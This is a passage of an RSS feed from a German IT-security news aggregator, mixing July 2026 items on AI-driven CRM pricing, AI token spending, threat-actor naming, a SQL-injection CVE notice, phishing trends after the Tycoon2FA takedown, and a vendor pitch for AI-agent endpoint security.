The shift from license- or subscription-based pricing to an outcome or consumption pricing model has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a new level of complexity when it comes to budgeting for CRM costs.

For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.

Meanwhile, Salesforce has rolled out pay-per-resolution pricing with its recently unveiled AI Help Agent and last month acquired usage-based billing specialist m3ter. Oracle is also piloting outcome-based AI pricing.

All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.

The rise of multi-agent orchestration

To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.

He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.

Kirkpatrick predicts that a new class of orchestration tools will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.

Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”

The interface becomes conversational

Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.

ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.

On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.

Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.

Agentic drives business process transformation

With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”

“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”

According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.

“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.

]]> <![CDATA[Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier]]> https://tsecurity.de/de/3693080/it-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/ https://tsecurity.de/de/3693080/it-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/ Sat, 25 Jul 2026 06:11:43 +0200 📰 IT Nachrichten tsecurity.de Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym

I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly use AI to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?

The best way I’ve found to explain the dilemma comes from the AI researcher Daniel Meissler: it’s the difference between work and the gym.

Continue reading...]]> <![CDATA[GR proposal: Ban LLM contributions from Debian]]> https://tsecurity.de/de/3692689/linux-tipps/gr-proposal-ban-llm-contributions-from-debian/ https://tsecurity.de/de/3692689/linux-tipps/gr-proposal-ban-llm-contributions-from-debian/ Sat, 25 Jul 2026 00:31:23 +0200 🐧 Linux Tipps tsecurity.de

Developers are discussing a general resolution proposal to ban all LLM & AI-assisted contributions to Debian and putting it to a vote. What do you think about this development regarding the resolution?

submitted by /u/Two-Of-Nine
[link] [comments]]]> <![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]> https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/ Sat, 25 Jul 2026 00:18:11 +0200 📰 IT Nachrichten tsecurity.de

In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.

That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.

This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.

To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.

#1. Gain real-time visibility into shadow AI & extensions

Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.

#2. Distinguish between human and autonomous agent behavior 

When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.

#3. Establish guardrails for automated package updates on endpoints

Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  

#4. Enforce principle of least privilege for AI agents

AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.

#5. Maintain continuous endpoint posture management

Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.

Summary

Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. 

Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.

]]> <![CDATA[T-Mobile 5G Home Internet Gets You Online Fast with No Technicians or Contracts]]> https://tsecurity.de/de/3692499/it-nachrichten/t-mobile-5g-home-internet-gets-you-online-fast-with-no-technicians-or-contracts/ https://tsecurity.de/de/3692499/it-nachrichten/t-mobile-5g-home-internet-gets-you-online-fast-with-no-technicians-or-contracts/ Fri, 24 Jul 2026 22:51:34 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Stripe Eyes $10 Billion Deal For AI Model Marketplace OpenRouter]]> https://tsecurity.de/de/3692005/it-security-nachrichten/stripe-eyes-10-billion-deal-for-ai-model-marketplace-openrouter/ https://tsecurity.de/de/3692005/it-security-nachrichten/stripe-eyes-10-billion-deal-for-ai-model-marketplace-openrouter/ Fri, 24 Jul 2026 18:18:06 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Microsoft's open-weight AI push is so obviously an Azure play it hurts]]> https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/ https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/ Fri, 24 Jul 2026 18:09:44 +0200 🔧 AI Nachrichten tsecurity.de

Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external models in products like Copilot for its in-house MAI family, which performs significantly worse in independent benchmarks.

The article Microsoft's open-weight AI push is so obviously an Azure play it hurts appeared first on The Decoder.

]]> <![CDATA[Astronomers May Have Discovered First Moon Outside Our Solar System]]> https://tsecurity.de/de/3691872/it-security-nachrichten/astronomers-may-have-discovered-first-moon-outside-our-solar-system/ https://tsecurity.de/de/3691872/it-security-nachrichten/astronomers-may-have-discovered-first-moon-outside-our-solar-system/ Fri, 24 Jul 2026 17:07:19 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Moonshot AI’s Kimi K3 Finds Redis Flaws, Builds RCE Exploits]]> https://tsecurity.de/de/3691794/it-nachrichten/moonshot-ais-kimi-k3-finds-redis-flaws-builds-rce-exploits/ https://tsecurity.de/de/3691794/it-nachrichten/moonshot-ais-kimi-k3-finds-redis-flaws-builds-rce-exploits/ Fri, 24 Jul 2026 16:43:51 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Updated Cyber Threat Actor Naming System]]> https://tsecurity.de/de/3691731/it-security-nachrichten/updated-cyber-threat-actor-naming-system/ https://tsecurity.de/de/3691731/it-security-nachrichten/updated-cyber-threat-actor-naming-system/ Fri, 24 Jul 2026 16:04:12 +0200 📰 IT Security Nachrichten tsecurity.de

Introduction 

Today, Google Threat Intelligence Group (GTIG) will begin rolling out a unified naming schema for tracking threat actors. This new naming taxonomy represents an effort to standardize tracking across platforms and public reporting.

Why are we Adopting a Different Naming System?

Historically, Mandiant and Google’s Threat Analysis Group (TAG) maintained distinct tracking systems, relying on parallel naming schemas that grew independently over time. The creation of GTIG has necessitated a new, fused tracking system, and a new naming system. Thinking to the future, GTIG’s new system will rely on cryptonyms. Relying on sequential numbers or disparate identifiers (e.g. APT1) fails to provide defenders the critical context needed to operate quickly. Threat tracking shouldn’t be an exercise in memorization, but rather one of intuition. The new naming convention aligns with industry standard threat actor naming systems. 

Our New Schema

Our new schema utilizes a cryptonym-based approach, employing memorable two-word combinations for each distinct threat actor:

  • The first word is a unique and memorable term chosen to represent the specific actor, particularly names that may have been used in prior public reporting. If no previously used term exists, this word is randomly generated to remove bias, then vetted by our analysts.

  • The second word categorizes threat clusters by motivation, attribution, or activity type based on which category we consider to be most important for defense and response strategies.

The table below provides a sample of how threat actor categories will map to the second word in each cryptonym:

Origin or Type

Group Name

People’s Republic of China

CASTLE

Iran

ION

North Korea

NEPTUNE

Russia

RELIC

Cybercriminal

COMET

Table 1: Examples of Google’s new threat actor naming system categories

We know there are many threat actor tracking schemas in the industry, so we are intentionally seeking to keep this system as simple as possible to streamline operations and facilitate mapping to other naming taxonomies. However, a significant caveat remains: because no two organizations have the exact same visibility into the threat landscape, direct, apples-to-apples comparisons between threat actors are rarely possible. Transitioning to a convention that is simpler to follow and remember is a practical step toward managing a highly intricate tracking problem. 

A Work in Progress

We have initially prioritized renaming several dozen of the most active groups, and will continue this process on a rolling basis. Previous names will remain indexed and searchable in the Google Threat Intelligence (GTI) platform, with MITRE ATT&CK mappings and other vendor aliases preserved, see Figure 1. 

Updated Cyber Threat Actor Naming System Image 1

Figure 1: Threat actor name appearance in GTI platform on initial rollout

We will continue to use UNC, or “uncategorized” designations for threat clusters that are still in the early stages of investigation, as described here.

]]> <![CDATA[Kimi K3: Chinesische KI findet mehrere Zero-Day-LĂŒcken in redis-Datenbank | heise online]]> https://tsecurity.de/de/3691585/it-security-nachrichten/kimi-k3-chinesische-ki-findet-mehrere-zero-day-luecken-in-redis-datenbank-heise-online/ https://tsecurity.de/de/3691585/it-security-nachrichten/kimi-k3-chinesische-ki-findet-mehrere-zero-day-luecken-in-redis-datenbank-heise-online/ Fri, 24 Jul 2026 14:58:57 +0200 📰 IT Security Nachrichten tsecurity.de IT-Forscher hat mit der ... Ob SicherheitslĂŒcken, Viren oder Trojaner – alle sicherheitsrelevanten Meldungen gibts bei heise security ...]]> <![CDATA[CVE-2026-5672 | code-projects Simple IT Discussion Forum 1.0 Parameter /edit-category.php cat_id sql injection]]> https://tsecurity.de/de/3691485/sicherheitsluecken/cve-2026-5672-code-projects-simple-it-discussion-forum-10-parameter-edit-categoryphp-catid-sql-injection/ https://tsecurity.de/de/3691485/sicherheitsluecken/cve-2026-5672-code-projects-simple-it-discussion-forum-10-parameter-edit-categoryphp-catid-sql-injection/ Fri, 24 Jul 2026 14:12:01 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de critical has been reported in code-projects Simple IT Discussion Forum 1.0. Affected by this issue is some unknown functionality of the file /edit-category.php of the component Parameter Handler. The manipulation of the argument cat_id leads to sql injection. This vulnerability is traded as CVE-2026-5672. It is possible to initiate the attack remotely. Furthermore, there is an exploit available.]]> <![CDATA[Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier]]> https://tsecurity.de/de/3691471/ai-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/ https://tsecurity.de/de/3691471/ai-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/ Fri, 24 Jul 2026 14:06:15 +0200 🔧 AI Nachrichten tsecurity.de Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym

I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come at no surprise to you that my students regularly use AI to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?

The best way I’ve found to explain the dilemma comes from the AI researcher Daniel Meissler: it’s the difference between work and the gym.

Continue reading...]]> <![CDATA[Getting a grip on shadow tokens and AI blowouts]]> https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/ Fri, 24 Jul 2026 14:04:46 +0200 📰 IT Nachrichten tsecurity.de

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.

According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.

This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.

Shifting the culture from usage to yield

Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.

None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.

Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.

Stopping token waste before an AI blowout

Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.

This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.

Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.

We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.

This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.

Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Email threats changed after the Tycoon2FA take-down]]> https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/ https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/ Fri, 24 Jul 2026 12:33:29 +0200 📰 IT Nachrichten tsecurity.de

Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.

“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.

The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.

Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.

Phishing changes but the defense doesn’t

While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.

QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.

BEC attacks hit 9 million in March, falling to 3.9 million in June.

But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.

The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

This article first appeared on CSO.

]]> <![CDATA[Tycoon2FA takedown reshapes the phishing landscape]]> https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/ https://tsecurity.de/de/3691257/it-security-nachrichten/tycoon2fa-takedown-reshapes-the-phishing-landscape/ Fri, 24 Jul 2026 12:26:57 +0200 📰 IT Security Nachrichten tsecurity.de

Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.

“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.

The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.

Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.

Phishing changes but the defense doesn’t

While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.

QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.

BEC attacks hit 9 million in March, falling to 3.9 million in June.

But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant MFA to reduce the effectiveness of credential theft campaigns.

The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, FIDO keys, and Microsoft Authenticator.

Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.

]]> <![CDATA[Here’s How I Know When to Replace My Surge Protector (and Stop It From Catching Fire)]]> https://tsecurity.de/de/3691255/it-nachrichten/heres-how-i-know-when-to-replace-my-surge-protector-and-stop-it-from-catching-fire/ https://tsecurity.de/de/3691255/it-nachrichten/heres-how-i-know-when-to-replace-my-surge-protector-and-stop-it-from-catching-fire/ Fri, 24 Jul 2026 12:20:13 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[One Compromised Wi-Fi Gateway Can Redirect Every Hotel Guest to Attacker Controlled Servers]]> https://tsecurity.de/de/3691222/it-security-nachrichten/one-compromised-wi-fi-gateway-can-redirect-every-hotel-guest-to-attacker-controlled-servers/ https://tsecurity.de/de/3691222/it-security-nachrichten/one-compromised-wi-fi-gateway-can-redirect-every-hotel-guest-to-attacker-controlled-servers/ Fri, 24 Jul 2026 12:08:55 +0200 📰 IT Security Nachrichten tsecurity.de One compromised hotel Wi-Fi gateway can silently redirect every guest to attacker controlled servers, putting corporate accounts at risk even when users think they are browsing safely. The campaign starts with a simple idea that many travelers overlook. When you


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The post One Compromised Wi-Fi Gateway Can Redirect Every Hotel Guest to Attacker Controlled Servers appeared first on IT Security News.

]]> <![CDATA[Kimi K3: Chinesische KI findet mehrere Zero-Day-LĂŒcken in redis-Datenbank]]> https://tsecurity.de/de/3691218/it-nachrichten/kimi-k3-chinesische-ki-findet-mehrere-zero-day-luecken-in-redis-datenbank/ https://tsecurity.de/de/3691218/it-nachrichten/kimi-k3-chinesische-ki-findet-mehrere-zero-day-luecken-in-redis-datenbank/ Fri, 24 Jul 2026 12:03:11 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Kimi K3: Chinesische KI findet mehrere Zero-Day-LĂŒcken in redis-Datenbank]]> https://tsecurity.de/de/3691204/it-security-nachrichten/kimi-k3-chinesische-ki-findet-mehrere-zero-day-luecken-in-redis-datenbank/ https://tsecurity.de/de/3691204/it-security-nachrichten/kimi-k3-chinesische-ki-findet-mehrere-zero-day-luecken-in-redis-datenbank/ Fri, 24 Jul 2026 11:57:51 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Wreck Runners Review (PC)]]> https://tsecurity.de/de/3691126/it-security-nachrichten/wreck-runners-review-pc/ https://tsecurity.de/de/3691126/it-security-nachrichten/wreck-runners-review-pc/ Fri, 24 Jul 2026 11:32:22 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[One Compromised Wi-Fi Gateway Can Redirect Every Hotel Guest to Attacker Controlled Servers]]> https://tsecurity.de/de/3691121/it-security-nachrichten/one-compromised-wi-fi-gateway-can-redirect-every-hotel-guest-to-attacker-controlled-servers/ https://tsecurity.de/de/3691121/it-security-nachrichten/one-compromised-wi-fi-gateway-can-redirect-every-hotel-guest-to-attacker-controlled-servers/ Fri, 24 Jul 2026 11:32:10 +0200 📰 IT Security Nachrichten tsecurity.de One compromised hotel Wi-Fi gateway can silently redirect every guest to attacker controlled servers, putting corporate accounts at risk even when users think they are browsing safely. The campaign starts with a simple idea that many travelers overlook. When you connect to hotel or conference Wi-Fi, you trust that gateway to handle your traffic honestly. [
]

The post One Compromised Wi-Fi Gateway Can Redirect Every Hotel Guest to Attacker Controlled Servers appeared first on Cyber Security News.

